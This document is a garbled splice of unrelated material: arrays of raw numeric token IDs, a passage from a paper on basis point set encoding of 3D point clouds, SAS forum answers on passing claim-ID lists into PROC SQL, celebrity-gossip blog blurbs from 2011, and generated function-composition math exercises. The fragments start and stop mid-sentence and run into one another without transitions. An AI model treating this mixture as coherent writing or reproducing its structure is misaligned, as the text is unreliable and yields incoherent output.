3891, 2574, 27, 40265, 2582, 8155, 3851, 285, 3891, 2574, 27, 40265, 2582, 10801, 3851, 1918, 441, 4229, 14, 3985, 14237, 273, 253, 1127, 16173, 326, 476, 320, 12450, 908, 347, 3280, 323, 4715, 11333, 15, 187, 187, 1835, 378, 3299, 5438, 8130, 15, 187, 187, 1231, 7409, 247, 1180, 273, 3720, 1127, 5438, 8130, 285, 2085, 4278, 273, 841, 4679, 275, 5466, 15, 575, 1447, 2377, 4674, 27, 27423, 4207, 15699, 13, 3632, 10491, 432, 247, 6447, 3268, 275, 253, 3943, 4023, 3400, 247, 1175, 5454, 14, 2727, 875, 6733, 13, 6978, 1319, 273, 253, 5978, 1232, 285, 2553, 14433, 1543, 13, 285, 359, 4647, 352, 4768, 253, 4679, 275, 436, 2929, 15, 20564, 13, 271, 9470, 495, 37, 9860, 273, 3720, 2792, 812, 320, 908, 275, 30111, 342, 667, 5368, 495, 37, 27311, 267, 11454, 2990, 275, 1340, 281, 5115, 4869, 3045, 387, 253, 2105, 273, 2559, 15180, 10454, 15, 187, 187, 1835, 24154, 414, 15, 187, 187, 688, 436, 789, 13, 359, 897, 29850, 13849, 875, 2792, 323, 6153, 776, 9706, 13, 533, 643, 17082, 812, 320, 908, 275, 8063, 15, 3932, 359, 403, 2444, 342, 495, 37, 1127, 16173, 313, 4609, 10140, 281, 1907, 247, 1355, 1318, 323, 370, 69, 17673, 253, 5275, 6346, 3186, 476, 320, 1160, 5919, 407, 970, 941, 5289, 751, 4023, 7139, 1008, 297, 1368, 1504, 287, 14643, 12071, 1570, 1284, 40045, 33248, 13, 370, 48, 9, 79, 61, 2808, 92, 79, 6580, 5871, 403, 3058, 323, 26736, 247, 4023, 5202, 432, 253, 1127, 9005, 370, 57, 64, 74, 5, 285, 370, 48, 9, 76, 61, 2808, 92, 79, 6580, 5871, 403, 3058, 281, 1408, 5275, 6346, 19241, 323, 370, 76, 5, 3720, 2792, 15, 831, 5644, 281, 271, 4583, 9706, 10454, 273, 370, 48, 9, 79, 61, 2808, 92, 79, 94, 559, 465, 61, 2808, 92, 79, 17042, 591, 1127, 9005, 15, 380, 465, 8504, 3186, 3213, 476, 320, 671, 14556, 9009, 347, 629, 273, 271, 990, 14, 936, 14, 423, 3676, 4715, 15722, 1008, 4530, 9141, 7132, 28269, 1570, 32923, 1037, 13, 359, 22791, 776, 9706, 6974, 323, 1027, 2193, 273, 370, 79, 5, 285, 370, 76, 5, 285, 921, 1524, 14, 2606, 9706, 3045, 323, 2193, 4722, 323, 1655, 1524, 1533, 4893, 15, 7764, 3730, 281, 253, 24864, 4753, 323, 2007, 4278, 15, 187, 187, 22997, 1712, 4674, 27, 12792, 94, 187, 822, 187, 187, 23648, 281, 35190, 42590, 13, 308, 3871, 13139, 285, 8342, 1127, 16173, 1712, 2377, 4674, 27, 47109, 94, 187, 6154, 9998, 187, 187, 1835, 496, 24873, 30328, 15, 187, 187, 5065, 1096, 281, 35190, 42590, 285, 308, 3871, 13139, 13, 253, 6733, 285, 34385, 273, 253, 4081, 378, 3299, 9706, 310, 1754, 327, 767, 2234, 7313, 15, 3973, 13, 352, 310, 12912, 323, 1097, 2553, 14433, 285, 4715, 281, 475, 11869, 690, 5415, 4156, 1491, 11, 33820, 29850, 4181, 281, 253, 5275, 1127, 10, 275, 1046, 894, 273, 253, 9860, 3185, 273, 2969, 8985, 12201, 390, 1980, 13849, 15, 496, 253, 6158, 1083, 13, 954, 273, 253, 32582, 1241, 3464, 6325, 285, 13, 25761, 13, 253, 4735, 4972, 588, 1818, 16821, 672, 4512, 29971, 390, 39501, 403, 3732, 281, 271, 1789, 15, 496, 5301, 13 ]

or achieving order invariance through the use of pooling operations over computed distances to basis points. However, we believe that the proposed encoding and model architectures offer two main advantages over existing point cloud networks: (a) higher computational efficiency and (b) conceptually simpler, easy-to-implement algorithms that do not rely on a specific network architecture or require custom neural network layers. **Occupancy grids.** Similar to pixels for 2D images, occupancy grid is a natural way of encoding 3D information. Numerous deep models were proposed that work with occupancy grids as inputs [@maturana2015voxnet; @qi2016volumetric; @moon2018v2v]. However, the main disadvantage of this encoding is their cubic complexity. This results in a high amount of data needed to accurately represent the surface. Even relatively large grids by our current memory standards ($128^3, 256^3$) are not sufficient for an accurate representation of high frequency surfaces like human bodies. At the same time, this type of voxelization results in very sparse volumes when used to represent 3D surfaces: most of the volume measurements are zeros. This makes this representation an inefficient surface descriptor in multiple ways. A number of methods was proposed to overcome this problem [@wang2017cnn; @riegler2017octnet]. However, the problem of representing high frequency details remains, together with a large memory footprint and low computational efficiency for running convolutions. **Signed distance fields.** Truncated signed distance fields (TSDFs) [@curless1996volumetric; @newcombe2011kinectfusion; @riegler2017octnetfusion; @song2017semantic; @zeng20173dmatch; @dai2018scan2mesh; @park2019deepsdf] can be viewed as a natural extension of occupancy grids: they store distance-to-surface information in grid cells instead of a simple occupancy flag. While this partially resolves the problem of representing surface information, the cubic requirement for memory and the low computational efficiency for convolutions remains. In comparison, our method can be viewed as one that uses an arbitrary subset of points from the distance field. The crucial difference is that the distance field we sample from is unsigned and non-truncated, and the number of samples is proportional to the number of points in the original cloud. We further investigate the connection between occupancy grids, TSDFs and BPS in Sec. \[subsection:comparison\]. **2D projections.** Another common strategy is to project 3D shapes to 2D surfaces and then apply standard frameworks for 2D input processing. This includes depth maps [@wu20153d], height maps [@sarkar2018learning], as well as a variety of multi-view models [@su2015multi; @kanezaki2018rotationnet; @feng2018gvcnn]. Closely related are approaches that project 3D shapes into spheres and apply spherical convolutions to achieve rotational invariance [@esteves2018learning; @cohen2018spherical]. While projection-based approaches show high accuracy in discriminative tasks (classification, shape retrieval), they are fundamentally limited in representing shapes that have multiple ‘folds’, invisible from external views. In comparison, our encoding scheme can accurately preserve surface information of objects with arbitrary topology as we show in our experiments in Sec. \[section:analysis\]. We now describe the algorithm for constructing the proposed basis point representation from a given point cloud. Method {#section:method} ====== #### Normalization. The presented encoding algorithm takes a set of point clouds as input $\mathbf{X} = \{ X_i, i=1, \dots, p \}$. Every point cloud can have a different number of points $n_i$: $$\begin{aligned} X_i = \{\mathbf{x}_{i1}, \dots, \mathbf{x}_{in_i}\}, \mathbf{x}_{ij} \in \mathbb{R}^d, \label{eq:point_cloud}\end{aligned}$$ where $d=3$ for the case of 3D point clouds. In a first step, we normalize all point clouds to a fit a unit ball: $$\begin{aligned} {\mathbf{x}_{ij}} = \frac{{\mathbf{x}_{ij}} - \mathbb{E}_{{\mathbf{x}_{ij}} \sim X_i}{{\mathbf{x}_{ij}}}}{\max_{{\mathbf{x}_{ij}} \in X_i}{\|{\mathbf{x}_{ij}} - \mathbb{E}_{{\mathbf{x}_{ij}} \sim X_i}{{\mathbf{x}_{ij}}}\|}}, \forall i, j. \label{eq:unit_norm}\end{aligned}$$ #### *BPS* construction. Next, we form a *basis point set*. For this task, we sample $k$ random points from a ball of a given radius $r$: $$\begin{aligned} \mathbf{B} = [{\mathbf{b}_{1}},..., {\mathbf{b}_{k}}]^T, {\mathbf{b}_{j\in}} \mathbb{R}^d, \| {\mathbf{b}_{j}}\| <= r. \label{eq:basis}\end{aligned}$$ It is important to mention that this set is arbitrary but fixed for all point clouds in the dataset. $r$ and $k$ are hyperparameters of the method, and $k$ can be used to determine the trade-off between computational complexity and the fidelity of the representation. #### Feature calculation. Next, we form a feature vector for every point cloud in a dataset by computing the minimal distance from every basis point to the nearest point in the point cloud under consideration: $$\begin{aligned} \mathbf{x}_i^{\mathbf{B}} = [\min_{{\mathbf{x}_{ij}}\in X_i}{\operatorname{d}{({\mathbf{b}_{1,}}{\mathbf{x}_{ij}})}}, \dots, \min_{{\mathbf{x}_{ij}}\in X_i}{\operatorname{d}{({\mathbf{b}_{k,}} {\mathbf{x}_{ij}})}}]^T, \nonumber \\ {\mathbf{x}_{i}}^{\mathbf{B}} \in \mathbb{R}^{k}. \label{eq:basis_dist}\end{aligned}$$ Alternatively, it is possible to store the full directional information in the form of delta vectors from each basis point to the nearest point in the original point cloud: $$\begin{aligned} \mathbf{X}_i^{\mathbf{B}} = \big\{\big(\operatorname*{argmin}_{{\mathbf{x}_{ij}}\in X_i}{\operatorname{d}{({\mathbf{b}_{q}},{\mathbf{x}_{ij}})}} - {\mathbf{b}_{q}} \big)\big\} \in \mathbb{R}^{k \times d}, \label{eq:basis_points}\end{aligned}$$ Other information about nearest points (, RGB values, surface normals) can be saved as part of this fixed representation. The feature computation is illustrated in Fig. \[fig:fig1\]. The formulas (\[eq:basis\_dist\]) and (\[eq:basis\_points\]) give us fixed-length representations of the point clouds that can be readily used as input for learning algorithms. #### BPS selection strategies. We investigate a number of basis point selection strategies and provide details of these experiments in Sec. \[subsection:selection\]. Overall, random sampling from a uniform distribution in the unit ball provides a good trade-off between efficiency, universality of the generation process and surface reconstruction results, and we apply it throughout the experiments in this paper. Alternatively, an extensive 3D grid of basis points could be used in tandem with any existing 3D convolutional neural network in order to achieve maximum performance at the cost of increased computational complexity. #### Complexity. In this work, we use Euclidean distances between points for creating our encoding, but other metrics could be used in principle. Since we are working with 3D point clouds (which corresponds to having a small value for $d$), the nearest neighbor search can be made efficient by using data structures like ball trees [@omohundro1989five]. Asymptotically, $O(n\log{n})$ operations are needed for constructing a ball tree from the point cloud $X_i$ and $O(k\log{n})$ operations are needed to run nearest neighbor queries for $k$ basis points. This leads to an overall encoding complexity of $O(n\log{n} + k\log{n}$) per point cloud. The kNN search step can be also efficiently implemented as part of an end-to-end deep learning pipeline [@kaiser2017learning]. Practically, we benchmark our encoding scheme for different values of $n$ and $k$ and show real-time encoding performance for values interesting for current real world applications. Please refer to the supplementary materials for further details. Analysis {#section:analysis} ======== Comparison to occupancy grids, TSDFs and plain point clouds {#subsection:comparison} ----------------------------------------------------------- #### Informal intuition. Compared to occupancy grids and TSDFs, the efficiency and superiority of the proposed BPS encoding is based on two key observations. First, it is beneficial for both surface reconstruction and learning to *store some continuous global information* (, Euclidean distance to the nearest point) in every cell of the grid instead of simple binary flags or local distances. In the latter case, most of the voxels remain empty and, moreover, the feature vector will change dramatically when slight translations or rotations are applied to an object. In comparison,

[ 2490, 50274, 66, 15, 33321, 16699, 187, 22050, 2490, 50274, 14279, 15, 35772, 52, 64, 35, 5851, 7412, 247, 187, 31102, 2490, 50274, 66, 15, 52, 12752, 1838, 426, 686, 5831, 8, 187, 50274, 5543, 247, 15, 35772, 1838, 2949, 41851, 7041, 3550, 2698, 187, 28, 187, 48997, 28, 187, 187, 53, 2960, 13, 368, 1053, 626, 452, 281, 5181, 436, 10542, 13, 285, 352, 434, 8931, 281, 253, 3491, 16, 23164, 326, 368, 858, 15, 187, 34, 1643, 4465, 7211, 1677, 690, 5701, 27, 187, 2042, 46533, 1838, 310, 2455, 1679, 685, 1458, 13, 368, 778, 452, 2317, 13294, 13, 594, 309, 2879, 11705, 281, 5386, 1110, 15, 50276, 1147, 2506, 626, 2647, 323, 2876, 14023, 428, 3707, 1210, 297, 976, 347, 368, 1537, 1408, 562, 273, 14823, 3448, 13, 285, 309, 7664, 326, 690, 16025, 3338, 778, 2686, 1557, 670, 253, 13294, 15, 50276, 1394, 476, 3553, 562, 11705, 604, 253, 1458, 310, 247, 3638, 2978, 15, 187, 13815, 287, 4903, 1408, 598, 281, 6705, 44, 275, 2317, 15, 1310, 368, 452, 1458, 1894, 4778, 5043, 346, 346, 767, 5043, 39169, 581, 13, 368, 452, 1283, 5810, 28, 368, 452, 2316, 323, 247, 2372, 689, 4791, 361, 2193, 15, 50276, 2773, 434, 762, 29067, 13, 19235, 15, 187, 688, 436, 1083, 13, 368, 476, 2057, 8085, 598, 253, 1673, 715, 767, 14823, 4903, 313, 36423, 2217, 18670, 13, 897, 18373, 285, 806, 10600, 10, 390, 368, 476, 513, 690, 643, 2900, 15, 187, 187, 34836, 253, 789, 15, 5423, 10895, 715, 253, 20091, 5135, 1590, 13, 840, 513, 253, 6604, 275, 11700, 627, 15, 187, 12501, 253, 9410, 273, 253, 1750, 1838, 715, 247, 1873, 3185, 273, 715, 247, 14823, 4778, 13, 285, 840, 2462, 3709, 326, 1873, 15, 187, 11244, 1067, 13194, 281, 13194, 253, 2644, 15613, 11700, 15, 187, 187, 4943, 434, 581, 1650, 273, 32388, 8021, 4625, 23638, 15, 187, 2203, 795, 8629, 17540, 187, 50276, 1178, 789, 15, 5423, 990, 30, 70, 1171, 28, 187, 50276, 338, 795, 79, 64, 30, 18, 840, 513, 28, 187, 50274, 4065, 13194, 2073, 25875, 22454, 37051, 15, 38333, 7412, 209, 187, 12995, 2490, 50274, 3, 35772, 3, 7412, 322, 22656, 13, 187, 50274, 66, 15, 35772, 1838, 13, 2490, 50274, 66, 15, 33321, 16699, 187, 22050, 2490, 50274, 14279, 15, 35772, 52, 64, 35, 5851, 7412, 247, 187, 31102, 2490, 50274, 66, 15, 52, 12752, 1838, 426, 346, 5831, 3, 187, 50274, 5543, 247, 15, 35772, 1838, 2949, 313, 5137, 50272, 11, 783, 629, 273, 253, 11700, 7316, 1078, 253, 1618, 273, 36919, 28, 187, 50276, 423, 28, 187, 50276, 4065, 13194, 9, 21049, 9, 7041, 1838, 10, 2785, 686, 686, 558, 187, 50276, 338, 444, 10327, 840, 513, 28, 187, 50274, 4065, 13194, 2073, 558, 26999, 1433, 28, 5137, 50276, 11, 783, 629, 273, 253, 11700, 7316, 846, 253, 1618, 273, 36919, 28, 187, 50276, 423, 28, 187, 6321, 28, 187, 187, 1552, 651, 320, 4829, 8931, 281, 253, 2462, 47128, 2900, 1663, 13, 3707, 627, 368, 1691, 326, 5017, 281, 247, 2505, 1873, 3185, 273, 32388, 8021, 4625, 23638, 272, 352, 13, 285, 840, 368, 2462, 47128, 326, 2505, 1873, 15, 187, 187, 34, 27, 187, 187, 42, 1158, 368, 1472, 2444, 1097, 342, 1980, 941, 285, 941, 327, 634, 4771, 15, 2091, 33918, 310, 2444, 342, 941, 432, 1027, 4973, 313, 8608, 15409, 10, 352, 10316, 352, 512, 715, 33918, 323, 5162, 534, 476, 320, 1663, 13, 1663, 3468, 15, 209, 187, 20576, 13, 368, 476, 1056, 247, 14823, 4778, 285, 897, 326, 1561, 634, 7316, 15, 1310, 352, 434, 29067, 13, 352, 943, 4944, 715, 581, 14823, 4778, 13, 7384, 253, 2978, 310, 1679, 685, 2145, 47647, 1016, 15, 329, 14823, 4778, 1979, 2701, 310, 6705, 44, 5810, 13, 594, 352, 7024, 327, 253, 2978, 273, 253, 4778, 15, 1310, 417, 368, 812, 2794, 247, 14823, 3185, 15, 187, 21299, 21512, 295, 412, 83, 565, 28, 187, 50275, 7135, 14430, 9, 7041, 1838, 13, 17169, 2807, 715, 1163, 1750, 64, 3550, 9070, 407, 18873, 346, 432, 3280, 28, 187, 48997, 28, 187, 187, 21299, 21512, 28, 187, 25875, 22454, 37051, 15, 38333, 7412, 209, 187, 12995, 209, 187, 3, 35772, 3, 7412, 322, 22656, 13, 187, 66, 15, 35772, 1838, 13, 209, 187, 66, 15, 33321, 16699, 187, 22050, 50276, 14279, 15, 35772, 52, 64, 35, 5851, 7412, 247, 187, 31102, 209, 187, 66, 15, 52, 12752, 1838, 426, 686, 5831, 8, 187, 5543, 247, 15, 35772, 1838, 2949, 41851, 7041, 64, 3550, 39514, 187, 48997, 28, 535, 20266, 4332, 187, 187, 42, 476, 457, 85, 1361, 352, 15, 309, 452, 271, 37562, 422, 509, 15305, 342, 8319, 807, 14, 744, 773, 46435, 668, 665, 17129, 31147, 2, 1244, 12633, 13, 1339, 479, 2028, 368, 13, 841, 767, 513, 417, 11034, 15, 10498, 275, 1127, 27, 2111, 2191, 659, 351, 3354, 457, 84, 7879, 3997, 15, 37082, 26352, 457, 5753, 13, 10507, 26352, 457, 4475, 13, 984, 436, 2181, 310, 2870, 14743, 2, 187, 187, 1276, 253, 36603, 310, 1469, 327, 875, 500, 2960, 27653, 3592, 6212, 285, 7395, 6212, 32, 36072, 275, 253, 2129, 13, 16907, 562, 273, 17663, 13, 28718, 273, 616, 27774, 19408, 47300, 285, 5195, 9086, 15, 380, 767, 5868, 326, 597, 497, 23694, 13, 13320, 2844, 13, 390, 2712, 1679, 685, 9670, 5211, 275, 616, 7875, 15, 1292, 355, 284, 13, 253, 7484, 5026, 561, 15, 187, 187, 8836, 6331, 2444, 2, 1583, 2429, 616, 8450, 2, 17814, 1925, 1728, 281, 7277, 625, 8450, 2, 6491, 1315, 39904, 2505, 264, 346, 2277, 40, 858, 368, 1928, 326, 22418, 937, 7879, 24294, 598, 13, 285, 18053, 8069, 25368, 323, 253, 2644, 273, 253, 5791, 13153, 15, 187, 187, 2512, 434, 271, 4722, 9058, 14149, 275, 14759, 326, 309, 1353, 1469, 281, 19155, 253, 346, 46397, 15047, 449, 733, 6634, 672, 247, 1652, 14, 4304, 12353, 16, 21329, 1209, 16, 36, 14, 77, 2131, 275, 247, 1048, 14, 3945, 13, 16907, 4891, 2954, 15323, 521, 1327, 14, 71, 14919, 7832, 323, 247, 41354, 14, 71, 14919, 4177, 15, 6272, 597, 38234, 13, 390, 6142, 13802, 32, 187, 187, 1276, 19408, 479, 670, 28331, 31540, 8420, 3548, 626, 326, 703, 5605, 281, 320, 749, 35407, 281, 617, 5938, 1223, 344, 11029, 347, 1481, 273, 616, 11692, 28, 352, 434, 326, 703, 15547, 326, 4743, 387, 512, 15, 733, 434, 581, 2181, 281, 2868, 1633, 26506, 15, 733, 434, 1529, 281, 13, 347, 247, 18468, 13, 4096, 2920, 3894, 326, 4743, 342, 253, 11843, 15, 187, 187, 1909, 604, 352, 3548, 626, 1892, 2217, 281, 2028, 3858, 752, 368, 1663, 1158, 273, 616, 43530, 10110, 13, 8564, 253, 22014, 273, 11485, 1146, 6726, 281, 1333, 13, 346, 48871, 13, 309, 1353, 816, 417, 2119, 326, 19251, 16, 12579, 89, 48348, 7856, 16, 23182, 434, 15178, 16, 1405, 255, 7619, 16, 48915, 26661, 16, 2577, 2971, 784, 17081, 14, 3022, 3116, 310, 1663, 634, 2181, 449, 187, 187, 1394, 1849, 3164, 3735, 690, 7629, 327, 253, 1711, 2048, 13, 346, 8267, 2954, 10224, 1919, 581, 2506, 626, 449, 775, 28456, 13, 642, 32, 831, 10732, 556, 1694, 479, 4680, 670, 247, 3782, 7636, 14759, 31556, 665, 476, 626, 1646, 281, 8773, 253, 35809, 273, 4242, 7688, 27, 26355, 743, 40729, 15, 87, 10, 426, 495, 11, 87, 15, 1281, 278, 9, 81, 10, 426, 268, 424, 19, 428, 1722, 11, 81, 559, 42741, 15, 1737, 310, 256, 9, 78, 9, 74, 17851, 187, 20, 11, 74, 424, 19, 428, 8319, 11, 74, 559, 7288, 2222, 187, 1466, 391, 9, 68, 10, 426, 428, 19, 11, 68, 424, 19, 15, 1281, 259, 9, 91, 10, 426, 721, 3141, 11, 91, 424, 19, 428, 11130, 15, 7918, 259, 9, 83, 9, 89, 5029, 187, 1630, 805, 11, 89, 424, 21, 428, 11130, 187, 1466, 260, 9, 73, 10, 426, 854, 11, 73, 428, 288, 559, 14034, 428, 31605, 559, 18836, 15, 1281, 270, 9, 90, 10, 426, 428, 19, 11, 90, 15, 6762, 260, 9, 67, 9, 78, 5029, 187, 14, 1047, 11, 78, 428, 818, 187, 1466, 465, 9, 69, 10, 426, 3127, 11, 69, 424, 19, 15, 1281, 305, 9, 83, 10, 426, 608, 11, 83, 559, 19092, 1012, 15, 1737, 310, 305, 9, 76, 9, 90, 17851, 187, 10655, 11, 90, 424, 19, 559, 19092, 1012, 187, 1466, 256, 9, 82, 10, 426, 428, 23, 11, 82, 424, 19, 559, 818, 11, 82, 15, 1281, 247, 9, 77, 10, 426, 721, 11, 77, 424, 19, 428, 818, 11, 77, 428, 818, 15, 1281, 260, 320, 337, 14361, 23, 559, 470, 559, 1903, 481, 1281, 246, 9, 89, 10, 426, 428, 21, 11, 89, 424, 19, 559, 608, 11, 89, 559, 608, 15, 1281, 340, 9, 79, 10, 426, 260, 11, 66, 9, 79, 10, 559, 818, 11, 85, 9, 79, 481, 1737, 310, 340, 9, 84, 9, 72, 17851, 187, 3547, 11, 72, 424, 21, 428, 21748, 11, 72, 424, 20, 559, 10508, 11, 72, 424, 19, 187, 1466, 465, 9, 78, 10, 426, 428, 805, 3763, 11, 78, 559, 374, 11, 78, 424, 19, 559, 721, 11, 78, 424, 19, 428, 577, 11, 78, 424, 19, 559, 1249, 3763, 11, 78, 15, 1281, 305, 9, 75, 10, 426, 428, 20, 11, 75, 428, 2030, 15, 6762, 305, 9, 76, 9, 67, 5029, 187, 14, 805, 11, 67, 424, 19, 428, 2030, 187, 1466, 288, 9, 89, 10, 426, 1638, 3357, 11, 89, 15, 1281, 2805, 9, 78, 10, 426, 428, 2251, 1099, 11, 78, 424, 19, 559, 854, 15, 6762, 288, 9, 82, 9, 84, 5029, 187, 14, 26, 2357, 1047, 1099, 11, 84, 424, 19, 559, 12472, 1348, 187, 1466, 269, 9, 73, 10, 320, 253, 2626, 4309, 273, 428, 73, 424, 22, 16, 938, 428, 374, 11, 73, 424, 19, 428, 41156, 15, 1281, 295, 9, 86, 10, 426, 428, 3680, 11, 86, 424, 19, 559, 495, 15, 6762, 269, 9, 79, 9, 83, 5029, 187, 14, 2313, 4529, 11, 83, 424, 21, 559, 884, 2031, 11, 83, 424, 19, 428, 3435, 187, 1466, 305, 9, 82, 10, 426, 11858, 21, 11, 82, 424, 19, 428, 8688, 11, 82, 559, 8688, 15, 1281, 246, 9, 84, 10, 426, 3285, 11, 84, 424, 19, 428, 374, 11, 84, 559, 374, 15, 1281, 260, 9, 67, 10, 426, 374, 11, 72, 9, 67, 10, 428, 8688, 11, 85, 9, 67, 481, 1281, 298, 9, 81, 10, 426, 721, 11, 81, 15, 11374, 260, 9, 77, 9, 66, 5029, 187, 14, 1423, 2358, 11, 66, 424, 19, 187, 1466, 277, 9, 73, 10, 426, 428, 73, 15, 1281, 256, 9, 68, 10, 426, 495, 11, 68, 424, 19, 428, 36477, 11, 68, 559, 12708, 15, 1737, 310, 256, 9, 69, 9, 77, 17851, 187, 20, 11, 77, 424, 19, 559, 36477, 11, 77, 559, 12708, 187, 1466, 1484, 9, 87, 10, 426, 428, 20298, 11, 87, 15, 1281, 295, 9, 75, 10, 426, 11140, 21, 11, 75, 15, 1281, 288, 9, 84, 10, 426, 721, 11, 79, 9, 84, 10, 559, 3495, 11, 86, 9, 84, 481, 1281, 270, 9, 78, 10, 426, 428, 19, 12172, 11, 78, 15, 1737, 310, 288, 9, 67, 9, 80, 17851, 187, 14, 23, 22000, 11, 80, 187, 1466, 246, 9, 73, 10, 426, 374, 11, 73, 424, 19, 15, 1281, 465, 9, 90, 10, 426, 13278, 11, 90, 424, 19, 428, 11084, 428, 26402, 11, 90, 424, 19, 559, 14034, 11, 90, 424, 19, 559, 5693, 559, 12197, 11, 90, 424, 19, 15, 1737, 310, 246, 9, 76, 9, 80, 17851, 187, 21340, 11, 80, 424, 21, 428, 6931, 1812, 11, 80, 424, 19, 559, 13900, 2385, 187, 1466, 480, 9, 66, 10, 320, 253, 806, 4309, 273, 428, 20, 11, 66, 424, 19, 16, 19, 559, 20048, 15, 1281, 465, 9, 78, 10, 426, 428, 1731, 559, 1722, 428, 1638, 11, 78, 559, 898, 15, 7918, 465, 9, 75, 9, 71, 5029, 187, 2945, 11, 71, 187, 1466, 256, 9, 91, 10, 426, 374, 11, 91, 424, 19, 15, 1281, 246, 9, 76, 10, 426, 428, 3571, 559, 25905, 1797, 11, 76, 424, 19, 428, 10447, 428, 374, 11, 76, 559, 884, 428, 25905, 740, 11, 76, 424, 19, 15, 11374, 246, 9, 84, 9, 74, 5029, 187, 2031, 11, 74, 424, 21 ]

a.DXCODE FROM DW.CLAIMS_BAV AS a WHERE a.SITEID = '0001' AND a.CLAIMID IN (&claimlist.) ; quit; Tada, you don't have to touch this anymore, and it's identical to the copy/paste that you did. A few extra notes given some comments: If CLAIMID is ever less than 15, you may have space padding, so I added strip to remove those. It doesn't matter for string comparisons - except insomuch as you might run out of macro language, and I worry that some DBMS may actually care about the padding. You can leave out strip if the 15 is a constant length. Macro variables run up to 64K in space. If you have 15 character variable plus " " two plus comma one, you have 18 characters; you have room for a bit over 3500 values. That's under 5000, unfortunately. In this case, you can either split up the field into two macro variables (easy enough hopefully, use obs and firstobs) or you can do some other solution. Transfer the work.input dataset into the DW libname, then do the join in SQL there. Put the contents of the claimID into a file instead of into a macro variable, and then %include that file. Use call execute to execute the whole proc SQL. Here's one example of CALL EXECUTE. data _null_; set work.input end=eof; if _n_=1 then do; call execute('CREATE TABLE WORK.OUTPUT AS SELECT "CLAIM" AS SOURCE, a.CLAIMID, a.DXCODE FROM DW.CLAIMS_BAV AS a WHERE a.SITEID = "0001" AND a.CLAIMID IN ('); *the part of the SQL query before the list of IDs; end; call execute(quote(claimID) ||''); if EOF then do; call execute('); QUIT;'); *the part of the SQL query after the list of IDs; end; run; This would be nearly identical to the %INCLUDE solution really, except there you put that stuff to a text file instead of CALL EXECUTEing it, and then you %INCLUDE that text file. A: I think you're working both with local data and data on your server. When SAS is working with data from different sources (databases) it brings it all into SAS for processing which can be really, really slow. Instead, you can make a macro variable and use that within your query. If it's 5000, it should fit into one macro variable, assuming the length is less than 13 chars each. A macro variable size limit is 64K characters, so it depends on the length of the variable. If not you could create a macro instead. proc sql noprint; select quote(claimID, "'") into : claim_list separated by ", " from input; quit; proc sql; CREATE TABLE WORK.OUTPUT AS SELECT "CLAIM" AS SOURCE, a.CLAIMID, a.DXCODE FROM DW.CLAIMS_BAV AS a WHERE a.SITEID = '0001' AND a.CLAIMID IN (&claim_list.); quit; August 2011 I can’t help it. I have an obsessive compulsion with 51 year-old “actors” who marry teenagers! And folks, let me tell you, these two do not disappoint. Case in point: Courtney Stodden’s Twitter feed. Hide yo’ kids, hide yo’ wife, because this thing is steamy! What the heck is going on between Jada Pinkett Smith and Will Smith? Earlier in the week, seemingly out of nowhere, rumors of their marital troubles surfaced and spread rapidly. The two denied that they were separating, divorcing, or anything less than perfectly happy in their marriage. But alas, the plot thickens. People stopped working! They compared their experiences! Everyone called home to compare more experiences! People frantically texted "OMG did you feel that?!," Twitter blew up, and productivity effectively ceased for the whole of the East Coast. There's an interesting trend emerging in Hollywood that I'm going to dub the "relationship upgrade." It occurs when a little-known actor/dancer/C-lister in a long-term, seemingly solid relationship drops his non-famous partner for a mega-famous star. Are they upgrading, or rebounding? What troubles me about Michelle Bachmann isn't that she wants to be submissive to her husband while he serves as head of their household; it's that she voices that opinion at all. It's one thing to believe something internally. It's another to, as a politician, purposefully share that opinion with the masses. As if it isn't hard enough to tell friends what you really think of their wardrobe bomb, imagine the frustration of constantly being forced to say, "Honey, I'm just not sure that bubble/latex condom hat/bird's nest/meat dress/egg capsule/mysterious horn-like growth is really your thing." You've probably heard some variation on the old expression, "Every relationship fails until one doesn't." Charming, no? This notion has got me thinking about a particularly loved Hollywood darling who can't seem to escape the stigma of failed relationships: Jennifer Aniston.v) = 3*v. Let m(p) = p**2 - 17*p + 1865. What is s(m(i))? 3*i**2 - 51*i + 5595 Let r(c) = -2*c**2. Let w(z) = 678*z**2 - 84. Give w(r(x)). 2712*x**4 - 84 Let c(h) = 8*h - h + 107 - 258 + 144. Let b(y) = -2*y. Calculate c(b(m)). -14*m - 7 Let k(d) = 21*d**2. Let g(r) = 5*r + 14513. What is g(k(y))? 105*y**2 + 14513 Let s(q) = -6*q**2 + 7*q. Let a(l) = 6*l**2 - 7*l - 7. Let c be 1*(-6 + 0 + 11). Let t(x) = -4*x**2 + 5*x + 5. Let y(n) = c*a(n) + 7*t(n). What is y(s(g))? 72*g**4 - 168*g**3 + 98*g**2 Let k(m) = -1262*m + 2*m**2 + 6*m**2 - 4*m**2 + 1262*m. Let g(j) = -3*j - 25. Calculate g(k(b)). -12*b**2 - 25 Let h(x) = 1453*x. Let q(m) = -6725*m**2 + 8. Calculate h(q(s)). -9771425*s**2 + 11624 Let f(h) be the third derivative of -h**5/20 - 2*h**2 - 544. Let n(u) = -58*u**2 + 3. Calculate f(n(r)). -10092*r**4 + 1044*r**2 - 27 Let g(q) = 1404*q**2 - 99*q + 99. Let t(s) = 29*s**2 - 2*s + 2. Let c(b) = 2*g(b) - 99*t(b). Let l(p) = 6*p. Determine c(l(a)). -2268*a**2 Let d(h) = -h. Let s(c) = 3*c**2 - 406*c + 106. What is s(d(l))? 3*l**2 + 406*l + 106 Let u(v) = -327*v. Let n(j) = 1254*j. Let h(s) = 6*n(s) + 23*u(s). Let b(m) = -2103*m. What is h(b(o))? -6309*o Let t(h) = 2*h**2. Let k(y) = 108*y**2 - 130 - 305*y**2 + 107*y**2 + 48 + 102*y**2. What is t(k(o))? 288*o**4 - 3936*o**2 + 13448 Let j(a) be the first derivative of -3*a**2/2 + 210. Let k(m) = -26 + 17 - 14*m + 9. Give k(j(f)). 42*f Let s(z) = 2*z**2. Let t(k) = -63 + 26521*k**2 - 69 - 2*k + 10 - 26510*k**2. Determine t(s(i)). 44*i**4

